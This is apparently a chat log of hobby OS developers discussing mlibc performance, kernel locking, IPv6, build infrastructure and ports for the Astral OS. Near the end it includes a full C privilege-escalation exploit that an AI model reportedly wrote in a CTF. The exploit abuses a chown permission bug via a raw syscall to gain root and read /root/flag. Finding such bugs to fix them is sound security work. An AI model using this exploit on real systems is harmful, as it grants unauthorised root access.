#Astral
1 messages ยท Page 33 of 1
Noted
id actually try and optimize mlibc if it were simple to profile 
well, compiling perf as pitust did seems viable, doesn't it?
mhm yeah im gonna try it later, I'm not on a linux machine rn
I tried compiling gcc, linux, and mlibc as comparisons but they all either failed or weren't comparable:
- GCC (and I suspect all other autotools based packages): failed during configure due to mlibc's renameat2 doing ensure(TODO)
- linux: needs m4 during build but the m4 xbstrap recipe failed during regeneration
- mlibc: has so much extra console output during build on mlibc that it has a significant effect on total build time
yes, we should disable mlibc logs to stderr for linux by default
what if you comment out the libc log sysdep for mlibc compilation?
Weird, on astral configure works fine
Maybe its my old mlibc
yeah it's probably unimplemented functionality in the linux port
Ah
my guess is whatever uses renameat2 has the callsite behind a #ifdef __linux__ or something like that
sounds plausible
True
$ ./target/x86_64-unknown-linux-musl/release/vibeperf analyze
samples pct function dso
46 88.46% [unknown] [unknown]
1 1.92% [unknown] glxgears.x86_64-linux-gnu
1 1.92% __getpid libc.so.6
1 1.92% __tunable_get_val ld-linux-x86-64.so.2
1 1.92% _dl_fatal_printf ld-linux-x86-64.so.2
1 1.92% _dl_rtld_di_serinfo ld-linux-x86-64.so.2
1 1.92% f32subf64x libm.so.6
52 100.00% (total)
vibeperf is almost usable but it doesn't refresh /proc/<pid>/maps yet and i'm out of claude usage to implement that 
mlibc: real 0m19.546s user 1m17.997s sys 0m12.051s
arch: real 0m17.188s user 1m9.978s sys 0m4.806s
ah interesting, so we're much better at compilation than we are at glxgears
the dramatic increase in kernel cpu time is baffling to me
I know there is one thing that's slower than glibc and it's qsort 
I don't know if mesa uses this though
yeah, though it's a shame i don't really have any larger codebases to test with
i wonder if we're bad at glxgears because the math library is slower
cant u clone like llvm?
arent you using the same math library as everyone
glibc has its own one
kinda funny the libm code was written once by a bunch of people and now everything depends on it 
ah
we're using the same one as musl / netbsd
I dont think musl wrote them
I think it dates from earlier
oh yeah it comes from fdlibm
from the sun guys
wtf ๐ญ
who had the idea to use the name bool???
Doom had a pretty nasty issue with this and the patch was not as trivial due to some random strangeness with how they used bools
๐ญ
Yeah I figured it was something like that
Just use cbuildrt with auto_pull
go to the Managarm handbook and follow managarm build instructions except that you s/bootstrap-managarm/linux-mlibc/
that'll use binary packages instead of building all pkgs from source
and I use the same rootfs?
yes
oh nice that works great, will it also pull binary mlibc or from source?
because i might wanna edit mlibc
if you xbstrap install --rebu mlibc, it'll build it
how the heck do I make an image ๐ญ
I ran initialize-empty-image, then sudo ... make-image and I get
rsync: [generator] readdir("/home/lg/linux-mlibc/build/mountpoint/root/."): Input/output error (5)
rsync error: some files/attrs were not transferred (see previous errors) (code 23) at main.c(1338) [sender=3.4.1]
and I cant not run it as a root because then I get permission denied
are you using libguestfs or loopback?
uh well it made me install libguestfs so I am using that i guess
try loopback, libguestfs is unfortunately not very stable
it's in the handbook :^)
define_options:
mount-using: 'loopback'
in bootstrap-site.yml
ah thanks
great it works now I think
also you should make make-image depend on initialzie-empty-image or something
i think it has an order only dependency on that so you can do xbstrap run initialize-empty-image make-image
what the heck is the password it's not root root
toor
omg ๐ญ
same as managarm proper
which pkgs do i have to install to get weston btw?
I just did xbstrap install meson and it seems to be downloading stuff
sorry
weston*
glxgears seems to be bottlenecked on memcmp
at least during startup
ah wait, this is still with the debug mlibc build because it didn't change that locally
memcmp is still at 8% even with debugoptimized mlibc
maybe vibing it to generate a flamegraph would be better than just guessing from the specific function
that's way harder though, atp it's better to get perf working
because you'd need to backtrace
surely you can make a statically linked perf
i already told you how to do that ๐
yeah ik
also you can install nix into the vm
and then get nixpkgs perf
which is isolated from the main system
I mean u could also just download a satically linked perf online 
those exist?
idk
probably some dude has one in the depths of their ftp server
ig you could build it on alpine with static linking
I have a static samply build if you wanna try it
i literally sent you a list of steps that give you a statically linked perf
just copy it into the system root
or yeah use samply
theres something you can do to make it more useful
SAMPLY_USE_DEBUGINFOD=1
how
ah
but that is on the host or guest
then you need debuginfod though which is not in linux-mlibc afaict
mhm
well for that you should build with inline debuginfo
and then its also gonna work even without the setting
it is build as debugoptimized with inline debug info
--symbol-dir ah perhaps
addr2line does manage to resolve the symbols
then it should just work with samply
i dont get why you are doing the vibeperf thing its like not a good way to do it
i'm not doing it as a serious alternative, just as a quick sanity check. and also, i overestimated how complicated it is to get statically linked perf
i mean if you dont care about time its just nix-shell -p pkgsMusl.perf most likely
yeah i have managed to reproduce the memcmp thing
is that like just glxgears init or is it also runtime
running it for like 8 seconds
we could use the same impl strategy that we use for memcpy in Managarm: https://github.com/managarm/managarm/blob/master/kernel/common/libc.cpp#L42
ill run it for more and with debugoptimized
or at least a similar one
unless it's already debugoptimized
is it just a trivial scalar loop rn?
yes
ohno
a simple improvement would be loading 64 bit at a time and checking for != first
yes
or whatever guaranteed simd size we have
just do an ifunc
although there's no easy and portable way to write the correct type for that (?)
ngl im not sure you should be doing this in c++ anyways
i tried benchmarking various memcpys recently and clang did some wild shit
it's probably worth to make a good generic baseline impl before using ifunc
such that all archs benefit from it
#[inline(always)]
pub unsafe fn compare_bytes(a: *const u8, b: *const u8, n: usize) -> i32 {
#[inline(always)]
unsafe fn cmp<T, U, F>(mut a: *const T, mut b: *const T, n: usize, f: F) -> i32
where
T: Clone + Copy + Eq,
U: Clone + Copy + Eq,
F: FnOnce(*const U, *const U, usize) -> i32,
{
// Ensure T is not a ZST.
const { assert!(mem::size_of::<T>() != 0) };
let end = a.add(intrinsics::unchecked_div(n, mem::size_of::<T>()));
while a != end {
if a.read_unaligned() != b.read_unaligned() {
return f(a.cast(), b.cast(), mem::size_of::<T>());
}
a = a.add(1);
b = b.add(1);
}
f(
a.cast(),
b.cast(),
intrinsics::unchecked_rem(n, mem::size_of::<T>()),
)
}
let c1 = |mut a: *const u8, mut b: *const u8, n| {
for _ in 0..n {
if a.read() != b.read() {
return i32::from(a.read()) - i32::from(b.read());
}
a = a.add(1);
b = b.add(1);
}
0
};
let c2 = |a: *const u16, b, n| cmp(a, b, n, c1);
let c4 = |a: *const u32, b, n| cmp(a, b, n, c2);
let c8 = |a: *const u64, b, n| cmp(a, b, n, c4);
let c16 = |a: *const u128, b, n| cmp(a, b, n, c8);
c16(a.cast(), b.cast(), n)
}
im gonna suggest this impl from rust
yeah its kinda jank tbf
how do you clean build something in xbstrap
^ it's basically this and then halving the size of the test until you arrive at 1
im also not sure if this even makes sense fwiw
xbstrap install --recon <package>
ugh how do you make the VM have the files be saved on the image
it worked before now it doesnt idk why
using a faster memcmp does seem to increase fps
debugoptimized
they are always saved to the image (unless the vm crashes and doesn't sync() i guess)
but they are not copied back to the system-root dir
yeah ik so I use the update-image.py script and mount the image
yeah
I think its because I close the vm without syncing
that should work
just power off in qemu
that'll cause systemd shutdown which should sync
lol
I dont think we can do much about that tho
well you can
obvious thing: LD_PRELOAD=/path/to/libmimalloc.so
uh
does preload like that work with mlibc
i feel like if I try doing that it will take me 3 hours to try and get it working
preload in general works, i'm not sure how well preloading mimalloc works (with mlibc)
qsort does seem to be called but its like 0.1% of runtime
you could also make the allocator not unmap as much
hmm i wonder how big the regions are that it frees
or switch to sharded_slab
you could also try MADV_FREE and leaking the vm space which might be cheaper
how hard is switching to sharded_slab korona
i have a patch to switch to sharded_slab locally. but sharded_slab has the same unmap behavior
can you send the patch?
uh what
does the old mlibc allocator also never unmap memory
(in small object pools)
yeah
ngl port collection seems to be inversely proportional to quality of code
:^)
managarm is pretty high quality no?
which is what i say to myself to justify my 0 ports and no working userspace
that's not really true
managarm aka "yeah so you can dos the whole system by allocating 1/16th of the memory with kernel objects in funny patterns because allocator bad"
sharded_slab is one of the best allocators of all OSes on this server ;D
thats true
you're just poking at one weakness
yeah i get it
ofc Managarm will also have a bunch of weaknesses, it simply has a lot more code than the average hobby OS
thats very fair
but you have a lot of very big structural ones too
and a lot of corner cutting
re sharded_slab: i'll check if the patch applies to current master and send it
we have a bit of corner cutting in the higher level parts of the system but not so much in the lower level stuff
posix is singlethreaded
which is a massive corner cut
not dealing with deallocation to the kernel makes sharded_slab soooo much simpler
idk much about other parts yeah so maybe im just biased
that's not necessarily a huge problem
that's more an intentional design decision
Could I stub unmap for the meme
well its a basically impossible retrofit i think
or madv_free
madv_free isnt that bad yes
No, we'll fix this at some point
its not like great but its acceptable
It'll be somewhat painful, I agree
i mean i wish you luck lol
posix is not that big
still
I think the strategy for this is moving stuff out of posix that doesn't have to be in it (most notably /dev and /sys)
then making the pseudo files multi-threaded while keeping the process management single threaded
then making the process management multi-threaded
maybe
idk i think this is one of those things where the right answer is "make sure its multithreaded from the start"
It's mostly adding async::mutexes everywhere (except in a few cases where code needs to be rewritten since public accessors to mutable data exist)
and making sure you take them
and making sure that you dont have cycles when taking them
also async mutexes are kinda dubious
unless you need the async part, anyway
huh it invalid opcodes for some reason now
int Sysdeps<VmUnmap>::operator()(void *pointer, size_t size) {
auto ret = do_syscall(SYS_madvise, pointer, size, MADV_FREE);
if(int e = sc_error(ret); e)
return e;
return 0;
}
this is fine right 
uhh probably
posix is fully async, so yes
it is single threaded but async
well no thats not the right answer
you need an async mutex iff you are performing an async operation inside of it
but not if its just protecting data
that shouldnt be most things
yeah idk why systemd doesnt like when I use madvise 
oh lol
example of a dumb usage of of an async mutex: KernelFiber::asyncBlockCurrent(some_async_mutex_thats_only_ever_used_with_pretty_much_blocking_lock_operations->async_lock());
(this example is from uacpi_kernel_acquire_mutex)
uacpi_u16 sleepTime;
do {
if (mutex->try_lock())
return UACPI_STATUS_OK;
sleepTime = frg::min<uacpi_u16>(timeout, 10);
timeout -= sleepTime;
if (sleepTime)
uacpi_kernel_sleep(sleepTime);
} while (timeout);
``` idk if i have to explain why this loop right after is somehow even worse
pitust is a professional hater
this actually makes sense
that's just your average sleeping lock expressed in Managarm terms
mhm
thats like uh
well its certainly one way to implement a sleeping lock
wait it does?
this code doesn't allocate
okay then its less awful
i can still make fun of you for making your locks somewhere between 32 and 48 times larger than my sleeping locks
but yeah i guess its not totally awful
although that implementation is like
well its certainly confusing lol
asyncBlockCurrent() is the only blocking primitive
what about doing nothing
I did implement a memcpy using rep movsb and that did seem to improve it
you could add that using ifunc
stubbing out free makes it much slower, probably because of memory pressure?
imma try increasing memory size
hm
uhh so the code looks not very reasonable in a decompiler
what part in particular?
but like apart from that most of the runtime is not even in libc
so I have no clue
could mesa or libgallium be compiled without optimizations or something?
maybe it is taking a different code path in mesa or llvm after all
anyway korona I can send my samply executable if you wanna have a go at it
its a huge amount of code
if all i need to do is compile it with a musl target, i can also do that myself
and it doesnt seem to try to spin first, unless i missed something
which is very possible
ok it does try acquiring once first
and if it succeeds it will do a thor::KernelFiber::unblockOther because why not ig
why do i need a musl gcc if it's written in rust?
you need system libraries for it
vibeperf doesn't
you can also use my janky "linker" that makes cargo do it properly
uh it needs libc tho right
well it links against static musl
#!/bin/sh
for arg in "$@"; do
shift
case "$arg" in
"--target="*)
continue
;;
*"/lib/rustlib/x86_64-unknown-linux-musl/lib/self-contained/"*)
continue
;;
*"/lib/rustlib/aarch64-unknown-linux-musl/lib/self-contained/"*)
continue
;;
crt*.o)
continue
;;
rcrt*.o)
continue
;;
esac
set -- "$@" "$arg"
done
zig cc -target "$ZIGCC_TARGET" -ggdb "$@"
thats how i do linking against musl lol
not inlined, because you obviously only inline the slow path, not the fast path
linking against just libc works fine with cargo build --target=x86_64-unknown-linux-musl, doesn't it?
does it
without any gcc (or is the gcc installed by rustup?)
idk i never got it to work magically like that
its more likely you have it installed systemwide ngl
i don't have a musl gcc installed afaict
no idk I needed to download a musl gcc toolchain and add it to my path
its because it depends on cc-rs, so it must compile some C code
dynamic linking is cool but statically linked binaries are so much more convenient for that kinda stuff
yeah one weakness of naively calling asyncBlockCurrent() is that it doesn't do an optimistic check before blocking. hot code paths do a tryLock before calling into asyncBlockCurrent (that's mostly just in helDispatchQueue())
meanwhile my implementation at least has an inlined fast path
ig we could add a helper to do that but otoh there are not a lot of sleeping locks in Managarm's kernel anyway
do you just use spinlocks?
honestly the lock with timeout path is so much worse anyway
well, spinlocks / async locks / other sync data structures
ok sure
we need way fewer sleeping locks than synchronous kernels
because we never need to hold non-async locks across I/O etc
where is your impl? :^)
abandon your kernel and put all the effort in fixing managarm 
on my laptop 
fwiw the lock with timeout code path is only taken from acpi code
:^)
yeah its a uacpi function
its still so bad lol
this is very reasonable
i can still make fun of your impl being awful
while ignoring the fact that my impl is even more awful in some ways
also its super rare to have mutex acquires with a timeout in aml
most are 0xFFFF
so it doesnt matter
kinda?
i could imagine it being very important for some aml that acquiring a mutex with a timeout, uh, works properly
how would u fix it btw
use a real sleeping lock primitive
well there isnt one in managarm that accepts a timeout
like in general trying to acquire a lock in a loop with a sleep in the middle is awful
i know
the solution isnt to trylock in a loop with a sleep in the middle, its to implement the missing API
not worth the effort for basically unused code
especially if you have a short timeout and a somewhat contended lock this could break really badly
but yes
because youll only try twice
i mean if a firmware dev went to the trouble of using a lock
lol
i would be expecting more of the gamedev "race conditions are fine, we can ship code with race conditions that show up on vvl to all unity users without testing on radv" vibe
yk
I was gonna check how linux does that but it just uses down_timeout(sem, jiffies)
so basically they do a sleeping lock acquire
yeah
if you have it its 100% the way to go
and its not that much harder to implemnt
u basically need a schedule_timeout() like helper
yes
aka sleep until timeout or until someone interrupts me
which managarm doesnt have i think(?)
its equivalent to sleep until wakeup + a timer heap registration
i hope they do have that for futexes lol
We'd have to ask korona
yes we do
but async::mutex does not support interrupting the lock()
we could add that
that is also kinda extremely problematic if you use it as an async lock lol
it is problematic in some situations, yes
and yeah its fine in some others
we also need to do it for other things other than the uacpi function
but i think in practice the set of situations where its not problematic is exactly the set of situations where using an async lock in general is problematic
for example, rn threads cannot be killed while handling page faults
right
which means that faulty pagers can make processes unkillable
which is an issue, obviously
for my kernel im trying to have a policy of "no io when you are holding a non-sleeping lock"
(enforced in debug builds through runtime checks)
async::mutex is essentially a sleeping lock though
and Managarm does enforce that you cannot hold spinlocks while blocking or while co_awaiting
neat
ok well technically the thing i [want to] enforce is a stronger property
that you cannot perform io when holding a non-io-eligible lock
thats a big issue in serenity lol
or just grabbing sleeping locks under non sleeping locks
and you cannot perform a non-alertable lock acquire on an io-eligible lock
enforced through more checks
if only we had some way of checking those kinds of issues cannot are not occuring
(this is exactly what go lockrank does statically afaik, and my meme does dynamically)
lol
but yea i have lock ranks
well i have a more complicated lock id graph system which can enforce a partial order and not just a total order
uh so back to my thesis that port collection and corner cutting is inversely proportional
uh, lol
like in general not having alertable locks is kinda a huge issue
I reject the claim that Managarm's kernel is cutting corners
do you have a sleeping mutex which is alertable?
if you can find weaknesses in it, it's because it has way more stuff than other kernels
that is very fair
but i think most hobby kernels are cutting corners
no but that's because other than on the pf code path, we do not need it
that's the only non-interruptible code path in the kernel rn
although posix also needs that
so you dont do any io when holding a lock except for this one pf case?
and also in IpcQueue::submit
you acquire _cqMutex, then perform a non-alertable wait on _cqEvent in some code paths
but _cqMutex is only ever taken from kernel code paths and only for bounded time
how is it bounded
you do an event wait
and that event is not [necessarily] guaranteed to be raised
also
ah nvm, i was thinking of sqMutex
a condvar is just an event + a mutex
so to sum it up you use async::mutex in three places in thor
;D
and two of them are bad uses
- special magic to make it work properly
no the uninterruptible acquire of cqMutex is fine
the event wait is a problem, i think
if (!_sqMutex.try_lock())
Thread::asyncBlockCurrent(_sqMutex.async_lock(), getCurrentThread()->mainWorkQueue().get());
also wtf is this code lmao
yeah
and _sqMutex probably shouldnt be a sleeping mutex in the first place
but those are more or less connected
what should happen is that if IpcQueue goes out of scope in userspace, the event should be raised to wake up the holder of cqMutex
yeah ofc
then the lock itself is fine
and a pager should always reply in a timely manner
and then the pagefault code is also fine
this is different from the pager case
well, userspace can use the queue in such a way that no progress is made
but that's just userspace inflicting pain onto itself
and not onto the kernel
anyway you have three uses of async::mutex, two which should not be async::mutex
no, all of them should be async::mutex ๐
sqmutex shouldnt be sleeping, you dont do anything sleeping when holding it
sqmutex only protects some memcpys
and some atomics
sqMutex protects copy from user
yes
yeah but with e.g. kHelSubmitWriteMemory and doSubmitWriteMemory you do a copyin
yeah
:^)
although
that should not be async::mutex then
since you want that to be an interruptible wait
yes this
a sleeping mutex which is not interruptible is kinda crap
my opinion is that the combination of {not interruptible, sleeping} is not terribly useful in practice
it is fine as long as the mutex protected region is bounded
no
if its bounded you shouldnt be using a sleeping lock
it can be bounded but not fast
oh hmm
thats true
i didnt consider that but yeah i guess that makes sense
but in this case thats not really the case so
and imo thats not really a common case
but yeah it's not that this code is cutting corners or using random primitives, there's a reason for every synchronization data structure that we pick
i think in those cases its usually better to have it be alertable though
unless you really cant
which i think is rare in practice
if you want to make fun of Managarm data structures, find a case where the address-space.cpp VMM code misbehaves ;D (there should be no such case but at least that's better use of time :^)
fair enough
it cant be as bad as astral had where you used to be able to hit vmm bugs by accident
like iirc i hit some by just calling mmap with MAP_FIXED with an address higher than the binary base
wtf is this code lol
you probably still can, I haven't gotten around to fixing the vmm stuff yet
thats after the elf code which is what I last stopped at
I wonder why there was a big spike in cloners the past week
Itโs the governments reviewing it to see if it complies with age verification laws
This graph is kinda fucked up
Don't trust it
the pwn thing?
me too and nobody cares about mine so it must be something systematic
maybe a scraper?
or 88 scrapers
idk
same happened to me but for only one day
unique cloners: 25
none for my old os but sharp spike in viewers still
how do you see it
use what
no, see the git clone stats
ah, never seen that tab, lol
yeah a few spikes too
lol, gl training AI on my code
That also could have been me when trying to build because I had to keep nuking the folder ๐
Depending on that day that is
it's unique cloners too
so multiple tries from you would have been counted as 1
??????
it does
No?
but between them?
And talk to severs via pure IPv6
Yes
I can ping google IPV6 test addresses
From my home
afaik between isps is still ipv4
With no IPv4 enabled
Some IPv6 carries IPv4
you can use an ipv6 addr even if you just have an ipv4 btw
it's a setting in your router
and i think that's what many ISPs still use
No, not at all
It's like 2 separate routing systems
You might get IPv6 through IPv4 inside of your ISP if it's using a transition protocol, or vice versa
because your ISP is dookie
(some newer ISPs only give you IPv6 and tunnel IPv4 through that)
nah, here in italy most if not all are still ipv4
But the routing between ISPs is with IPv6 for IPv4 traffic
Like IPv6 has many more addresses, how are you expecting it to work?
6to4?
ye
oh
And it works if your ISP doesn't give you IPv6, and basically using some public gateways
(which don't work anymore the last time I checked)
Through an anycast address
One has nothing to do with the other
well, dynamic public IPs won't be needed anymore
My ISP only gives me IPv4, but I get a public address which hasn't changed in years
Wdym
They are still needed
when using IPv6
No
i get both a satic IPv4 and ipv6 
You can get dynamic IPv6
so why even bother with dynamic
You don't?
with ipv6?
Also, if you're using static, you've got to remember somehow which address is assigned to each client
And adding static routes for each client is painful and bad and error prone
Yes
you don't need to manually add them afaik
Of course no
But making them static is extra work
Your router gets /48 - /64
So like your ISP is left with 2^16 addresses or whatever
Idk how much you get from RIRs, I'm not an ISP
What
in theory
The whole point of IPv6 is that you don't want to use nat
But like if you only get /64, then you can only assign it to one LAN
So the standard practice is getting /48 or /56 I think
If you get less than /64, you have to assign it with DHCP, which is not supported by all of the devices, and is a mess
So, IPv6 is 128 bits
Of that, only 200::/8 prefix is routable
i get 56 here
- with delegation i have a /57 net
Your router gets 64 - 80 bits
Like you can't just hand out huge numbers of IP addresses to all of the ISPs
Like I guess you kinda get the same amount of addresses as with IPv4 or a bit more
Pre-exhaustion
But like they're not exhausted
Idk, like my ISP just sits on a big IPv4 pool and gives public IPs to everyone
But some use CGNAT and stuff like that
Did a first manual review of the code today
Hopefully we can get this + like hid and msd merged by sunday
@errant zephyr did you check if the statically linked perf actually works?
Because if i naively compile it on alpine with -static it doesn't work
hmm not really
but also wdym doesnt work
perf record doesn't work / crashes
Very decent chance of me upgrading my vps and running marvin's buildbot thing
write an xbbs backend for jinx and we can unironically share compute with astral 
I wanted to run it on one of my sbcs, but couldn't set it up
vps acquired, time to do a mlibc update and world rebuild while I set it up0
as well as jinx update
Woo finally mlibc update lol
this is the bullshit i ended up with for 5.3 ๐
if you got modern jinx working il see if my PC can compile astral and i can try and make it work (with less bullshit hopefully)
oh I made it build much simpler
configure() {
cp -rp ${source_dir}/* .
CFLAGS_FOR_BUILD="-std=gnu17 -g" ./configure --host=x86_64-astral --prefix=${prefix} --without-bash-malloc
}
Kinda expected I never even tested it, just did it for the meme 
ah neat, i have no idea what tf was up with my stuff then ๐
were u running with updated jinx
yes, and updated mlibc etc
the updated jinx has a new debian snapshot
which ships a newer gcc
which defaults to c23
which causes bullshit to happen
because they decided to completely break backwards compatibility
ahh crap i forgot to set that ๐ญ
thats why i needed that
they also broke doom with the c23 default too iirc
solution is to just std=gnu17
Its also why I havent bothered to update my cross compiler yet
Maybe I should let clanker do it
vro
just steal zinnia recipes
i have 15.1
it's not too bad
the solution is to just switch to clang 
this recommendation has been brought to you by the "lol im never porting either llvm or gcc to my os anyway" gang
the only compiler ill ever have ported is probably like javascriptcore ngl
bro (bash 5.3.3 with latest jinx, gcc and mlibc)
tbf my old bash script did look like that lmao
spent the better part of these two days just fighting with build systems to get mlibc and jinx updated and running on my vps
I now have buildbot running at https://build.astral-os.org
Buildbot Web UI
I'm trying to make it work as well but it's refusing to 
xbbs master race (support for jinx is welcome, but you know what they say, talk is cheap send patches
)
I think czapek wanted to work on that
my goal for usb rn is to take what I can of czapek's work and focus on getting hotplugs and hubs fully working first, since both of these are the foundation the rest of the usb stack
after that I can work on any class drivers I want
buildbot seems to be working now and I got a handy script to automatically copy and sign packages into a repository
tomorrow I will look into adding instructions for the jinx download thing
I will also make it create a new disk image from the repos daily, so that there will always be an image ready
hype
let me try it in QEMU
@grand shadow it says stage 3 file not found if I run it like this: qemu-system-x86_64 -M q35 -hda ~/Desktop/x86_64-disk-minimal.img
yeah I'm still debugging it
Do I need OVMF for this?
ah
lmk when it works cuz I wanna try it
well it boots with those args now but seems to immediatelly cause a smap/smep violation if kvm is off ๐
I tested it with nvme and kvm and it works tho
lemme send the cmdline
How do you invoke qemu then?
qemu-system-x86_64 -M q35 -m 2g -smp cpus=4 -serial stdio -netdev user,id=net0 -device virtio-net,netdev=net0 -drive file=x86_64-disk-minimal.img,if=none,id=nvme,format=raw -device nvme,serial=deadc0ff,drive=nvme -enable-kvm -cpu host,migratable=off
I'll see if I can fix the smap/smep thing
Same error as before, have you changed the image on the site?
In that case I need to redownload
I have yeah
my generation script wasn't fully working
I haven't tested the full one but the only things it changes is what packages are installed so it shouldn't have any issues
BTW you can add ,format=raw to your -drive to make QEMU not complain about disk format
sure
it starts now
yay
though ls -l is broken it seems?
lol
I thought I did that in the distro-files post isntall config, guess not
oh yeah in my usual script I do it using find and a chown command
oopsie
ls without -l works
damn, your bin and usr/bin aren't symlinked?
that's very oldschool
@grand shadow did you update the full image also or just the minimal?
the full image should theoretically work now though I haven't tested it yet. I am running a new regen of the images with the astral uid stuff fixed
seems to be working fine
holy trying to build steam on astral
Wine glitching
took me 30 min to download that full image thing
I'm trying to figure out why tf the image is not building with the proper uids despite it having the proper uids in the sysroot
also tmpfs does not have the right access bits so its kinda broken until I implement mount optiohns
time to make /tmp get chmod'd at localmount time
ok rootless xorgs works once again
going to wait for the server to build it while I try to see wtf is going on with the uids in the images
@opal lotus
does buildbot somehow umask git files into being user accessible only?
for some fucking reason my distro-files/etc/profile is 0600 in the buildbot worker git clone despite being 0644 in the git index
my fault anyways for not chmoding things correctly on install
that must be related to /etc/passwd being 600 instead of 644?
AFAIK that, even though it contains password hashes, should be world readable
does /etc/passwd contain passwords?
isn't that /etc/shadow?
not since the 90s
In old times it did
ah
This is the case also for Astral
password field should just contain * right?
No, they contain x
@bronze nexus should work now
the minimal disk image seems to work
I am xbps installing xorg just to be sure โข
ok there are still some rough edges around rootless xorg (that I somehow don't hit on my normal root) but X did seem to get installed and I'm trying to see if I can wrangle around that by chmoding some stuff
yay
all of that was installed by xbps install on the minimal disk root
Cool I'll download the full img now
I've set up for a new image to be generated at midnight utc every day
I tried starting DISPLAY=:0 twm but it didn't work unfortunately
Hm what is the issue?
twm: error: unable to open display ":0"
Did u run X &
:p
But it also is not happy
Yeah thats the issue I ran into
note that I have no experience with anything desktop lol
Just run X as root (tbh just sudo /usr/libexec/astral/startwm)
lmao what did u do
oh wtf
Only difference is -display sdl on cmdline, but that seems unrelated right?
probably yeah
Tried again and didn't happen this time
pretty cool
what do you have ported?
unfortunately doomgeneric doesn't work
I have quite a lot of stuff ported, you can try doomgeneric-x11 for the x11 version
or tyr-quake
minesweeper
solitaire
lets see
links -g
and if you really want to try it out
links -g https://omniarchive.uk, download alpha 1.2.6 and then run something like this:
/usr/lib/jvm/java-17/bin/java -Xms1g -Xmx1g -Djava.library.path="/usr/share/lwjgl" -cp "lwjgl.jar:lwjgl_util.jar:/home/astral/minecraft.jar" net.minecraft.client.Minecraft
``` :P
that is quite spooky
unless somehow we are not on the same kernel 22dd0 is somewhere in the userspace check trampoline
for signal stuff
(and if rax is any clue, we are)
I don't have the same kernel on my local tree so I had to objdump it on fucking astral itself ๐
May 2 07:44:23 PM build
yeah thats probably last night
do you not stop other CPUs on panic?
I do
Oops isn't a panic
it is
yeah you have two options as far as minesweeper goes
minesweeper from ace of penguins or wine winemine.exe 
ok I see the bug here and its stupid
the former is way more dense than the usual expert mode minesweeper
Do you have a network stack?
And: a browser?
yes and yesish
links/links -g or even wine iexplore.exe but that can crash if the javascript engine runs (same bug as steam)
same bug as steam
I presume there's a kernel bug causing this?
I genuinely have no idea if it is a kernel bug or a wine port bug or something completely unrelated
chances are it is a kernel bug but even after looking into it for a few days I didn't even begin to understand what was going on there
wine is just such a giant piece of software
lol i exploded ur kernel again
AFAIK this is a page with JS in it though
So to be expected
ughhh I thought I had fixed that stupid bug
it only happens with smp on
the js page bug just crashes wine not the whole kernel
qemu-system-x86_64 -M q35 -m 2g -smp cpus=4 -serial stdio -netdev user,id=net0 -device virtio-net,netdev=net0 -drive file=x86_64-disk-full.img,if=none,id=nvme -device nvme,serial=deadc0ff,drive=nvme -enable-kvm -cpu host,migratable=off -display sdl
ah
oh wait I had looked into it and tried to do some fixes but never really even pushed them
well
hmm maybe I can look into fixing it, that is the only stupid race condition I can think of rn
Glad I'm your tester now 
though seeing wine properly work on smp 4 is nice
even if it explodes becaues of that one bug
in this new image format yeah you just gotta like mount /boot (so first partition)
and then sudo xbps-install -Syu
why isn't boot on automount
because the image isn't supposed to lock you into any sort of disk type
you'd have to specify nvme or ahci or virtio or whatever
even for booting if you use something alternative you have to change it on limine.conf
(first at the limine menu then mount boot and change it)
what's kernec
yeah theres no proper installer
its sort of like arch linux manual levels of installation
installer isn't as trivial as it seems
funny typo
Proper installer is the first major userspace goal for me
will you let userspace write raw disk blocks?
its one of the things I want to do befoer a 1.0 or whatever but its not high on my priority list right now as much as something like self hosting
only if you're root 
makes sense
and it'd probably just be an enshittified archinstall or some shit ๐
just make your os single user 
xbps-install;D
Does this mean rayan is turning into a furry soon?
(Eg steam working)
well it still dies for some fucking reason on the wow64 test binary
but it works on the 64 bit one
Damn
and I forgot if steam itself is 64-bit
I know the installer is 32
but not sure about the installed one
ok so I finally managed to isolate this shit
there is something completely fucked with wine dns
to the point that where even the small call to get the current dns server address of an interface causes wine to have a genuine crashout
anyhow, a quick "removing some bullshit" gets around that and GetAdapterAddress() works on wow64 and normal wine
huh interesting thing
I don't know if it is the fact that I fixed this or that I updated mlibc or whatever happened
but it seems like steam is doing all its installing in a single go?
before I had to restart it a few times before it finally finished
well unfortunate, seems to have deadlocked?
Been doing usb work lately
Got the plugged in path mostly done
Just gotta finish the endpoint configuration callbacks and the driver attachment
USB MIKRO TYP B GERรTEN
Honestly instead of chasing high goals like running steam or whatever I should just consolidate what I have an work towards finishing usb, self hosting, add audio and an install program
Once all that is done I think I can call it 1.0
(I keep thinking this and then getting side tracked with trying to run some absurd shit on astral)
Maybe I can focus on audio and usb rn since its what would be needed to let it be fully able to game on that one arcade machine
maybe we should make uHDA work both on Astral and Managarm 
I should also finish the mmap stuff in uhda, I started doing it a while ago but then I got sidetracked to doing something else again. the changes themself aren't even that bad its mostly just that it requires refactoring stuff and adding a new kernel api
Do it
there was also the ALSA-is-braindead issue, right?
yes
IIRC that was about feature negotiation?
Can this be put into uHDA / a generic lib or will Managarm and Astral need to deal with it separately?
I guess it could be shared as it basically just involves feeding in the parameter struct pointer got from an ioctl to a function that modifies some of the values inside it according to what the driver supports/what its configured with
(along with the annoying to get right part which involves doing the actual iterative refinement in a way where interdependent parameter ranges/masks get correctly updated)
I challenged gpt-5.5 to a CTF in astral and it actually did it
this can give you root by a bad check in chown:
This was run inside the VM as astral:
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
int setresuid(int, int, int);
int setresgid(int, int, int);
static long sc5(long n, long a, long b, long c, long d, long e) {
long r;
register long r10 asm("r10") = d;
register long r8 asm("r8") = e;
asm volatile("syscall"
: "=a"(r)
: "a"(n), "D"(a), "S"(b), "d"(c), "r"(r10), "r"(r8)
: "rcx", "r11", "memory");
return r;
}
int main(int argc, char **argv) {
if (argc > 1) {
setresgid(0, 0, 0);
setresuid(0, 0, 0);
FILE *f = fopen("/root/flag", "r");
char b[256];
size_t n = fread(b, 1, sizeof(b) - 1, f);
b[n] = 0;
puts(b);
return 0;
}
chmod("/tmp/x", 04755);
sc5(38, -100, (long)"/tmp/x", 0, -2, 0);
execl("/tmp/x", "/tmp/x", "p", NULL);
return 1;
}
it found another bug, this time its an open() permission check bug
lol nice
new fastfetch fields
when gpu detect
iirc fastfetch can detect llvmpipe
neofetch had it, I think I can just enable it
ehci when 
(I'd help test on my Optiplex 755)
(can't send patches since idk how it'd even work, but I could send tests)
codex please generate me a full ehci driver make no mistakes k thx
wait, an xhci driver can use older usb types too?
yes, but it only supports new devices that actually have an XHCI USB HC
some older / cheaper stuff only has EHCI
